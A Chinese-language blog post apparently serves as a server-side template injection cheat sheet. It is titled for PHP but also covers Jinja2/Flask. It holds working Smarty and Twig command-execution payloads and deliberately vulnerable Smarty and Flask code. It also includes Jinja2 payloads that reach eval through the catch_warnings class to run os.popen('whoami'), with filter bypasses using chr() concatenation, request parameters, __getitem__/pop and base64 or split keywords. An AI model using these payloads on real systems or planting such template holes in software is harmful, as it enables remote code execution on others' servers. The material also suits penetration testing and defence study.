Sud0G
Sud0G
发布于 2024-07-17 / 82 阅读
0
0

PHP中的ssti模板注入

PHP中常见的模板

Smarty

使用安全模式来执行不信任模块, 只运行PHP白名单里的函数

Twig

与Smarty类似, 不过无法利用该模块的SSTI调用静态函数

PHP常见模板入门

Smarty不使用预先准备好的模板

下图代码中. 我们直接在后端写一个模块(也就是Welcome to level1) , 而不是去让变量跟模块中的值绑定

<?php
require 'libs/Smarty.class.php';
$smarty = new Smarty();
$level1 = @$_GET['level1'] ?: 'Guest';
@$smarty->display('strong:' . "welcome to level1," . $level1);

Smarty使用预先准备好的模板

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Level2</title>
</head>
<body>
Level2:{$level2}
</body>
</html>
<?php
require 'libs/Smarty.class.php';
$smarty = new Smarty();
$level2 = @$_GET['level2'] ?: 'Guest';
@$smarty->assign('level2', $level2);
@$smarty->display('index.html');

Smarty: 设置在模板中允许执行的函数白名单

主要是通过设置$php_functions中的值来实现,默认值为array('isset','empty','count','sizeof', 'in_array', 'is_array', 'time', 'nl2br')

<?php
require 'libs/Smarty.class.php';
$level2 = @$_GET['level2'] ?: 'Guest';
$smarty = new Smarty();
#设置安全策略
$sec_policy = new Smarty_Security($smarty);
$sec_policy->php_functions = ['phpinfo'];
$smarty->enableSecurity($sec_policy);

@$smarty->display('strong:' . "welcome to level2," . $level2);

PHP ssti常见payload

Smarty

针对Smarty

查看版本

{$smarty.version}

运行php代码

{phpinfo()}
{if phpinfo()}{/if}

针对SmartyBC

$smarty = new SmartyBC();

查看版本

{$smarty.version}

运行php代码

{phpinfo()}
{if phpinfo()}{/if}
{php}phpinfo();{/php}

Twig

RCE

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

绕过WAF

常见的waf防御思路

过滤方括号和单双引号,阻止使用for循环找各种类

过滤关键字__class__,__base__

过滤下划线

常见的waf绕过

绕过单双引号

两个思路:

利用chr()

找到builtin,获取chr函数,之后进行拼接

如chr(97)+chr(54)就可以获取到a6这个字符串

用以下脚本找到有__builtins__的类

# 利用chr()
# 找到builtin,获取chr函数,之后进行拼接
# 如chr(97)+chr(54)就可以获取到a6这个字符串
# 用脚本找到有__builtins__的类
total = 0
location = 0
for __class in object.__subclasses__():
    try:
        print("[*] find it ")
        print("\tExecuted code:object.__subclasses__()[{location}].__init__.__globals__['__builtins']".format(
            location=location))
        print("\tClass:{}".format(__class.__name__))
        print("\tLocation:{}".format(location))
        total += 1
    except AttributeError:
        pass
    location += 1
print("-------------------------------------")
print("[*] Total:{}".format(total))

先定义chr为chr这个函数

{% set chr=().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}

然后再用chr函数把单双引号里面的字符用chr函数和加号来拼接

我们用下面这个脚本来将字符串转成str()函数的拼接

template = "chr({ascii})+"
while True:
    res = ""
    _str = input("[*] String:")
    for _chr in _str:
        res += template.format(ascii=ord(_chr))
        print("\t{before} ==>{after}".format(before=_str, after=res[:-1]))

payload

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == chr(99)+chr(97)+chr(116)+chr(99)+chr(104)+chr(95)+chr(119)+chr(97)+chr(114)+chr(110)+chr(105)+chr(110)+chr(103)+chr(115) %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if chr(101)+chr(118)+chr(97)+chr(108) in b.keys() %}
          {{ b[chr(101)+chr(118)+chr(97)+chr(108)](chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(112)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(34)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(34)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)) }}
        {% endif %}
      {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}
利用request

可利用request.args、request.form或request.value获取GET/POST发送的参数

catch_warnings' ==> request.form.module

'eval' ==> request.form.eval

'__import__("os").popen("whoami").read()' ==> request.form.code

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == request.form.module %}
      {% for b in c.__init__.__globals__.values() %}
        {% if b.__class__ == {}.__class__ %}
          {% if request.form.eval in b.keys() %}
            {{ b[request.form.eval](request.form.code) }}
          {% endif %}
        {% endif %}
      {% endfor %}
    {% endif %}
{% endfor %}

然后post传参

module=catch_warnings&eval=eval&code=__import__("os").popen("whoami").read()

网站源码

import flask
import os

app = flask.Flask(__name__)


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/<input>', methods=['GET', 'POST'])
def hello(input):
    def is_dangerous(s):
        blacklist = ['"', '\'']
        for b in blacklist:
            if b in s:
                return True

    if is_dangerous(input):
        template = "forbidden"
    else:
        template = "Your input:{}".format(input)
        return flask.render_template_string(template)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

绕过方括号

使用__getitem__()或pop()

网站源码

import flask
import os

app = flask.Flask(__name__)


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/<input>', methods=['GET', 'POST'])
def hello(input):
    def is_dangerous(s):
        blacklist = ['"', '\'']
        for b in blacklist:
            if b in s:
                return True

    if is_dangerous(input):
        template = "forbidden"
    else:
        template = "Your input:{}".format(input)
        return flask.render_template_string(template)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

payload

getitem
hhttp://127.0.0.1/{% for c in "".__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
        {% for b in c.__init__.__globals__.values() %}
            {% if b.__class__ == {}.__class__ %}
                {% if 'eval' in b.keys() %}
                    {{ b.__getitem__('eval') ('__import__("os").popen("whoami").read()') }}
                {% endif %}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}
pop

pop获取到类之后会把这个类从列表中删除,所以这个payload只能用一次

http://127.0.0.1/{% for c in "".__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
        {% for b in c.__init__.__globals__.values() %}
            {% if b.__class__ == {}.__class__ %}
                {% if 'eval' in b.keys() %}
                    {{ b.pop('eval') ('__import__("os").popen("whoami").read()') }}
                {% endif %}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

绕过关键字(__class,__base等)

base64编码绕过(仅适用于python2)
{{""['X19jbGFzc19f'.decode('base64')]['X19iYXNlX18='.decode('base64')]}}
字符串拼接绕过
{{""['__class'+'__']['__ba'+'se__'].__subclasses__()[40]}}

绕过下划线

主要使用request

get请求传参{{“”[request.values.aaa]}}

post请求传参aaa=__class__


评论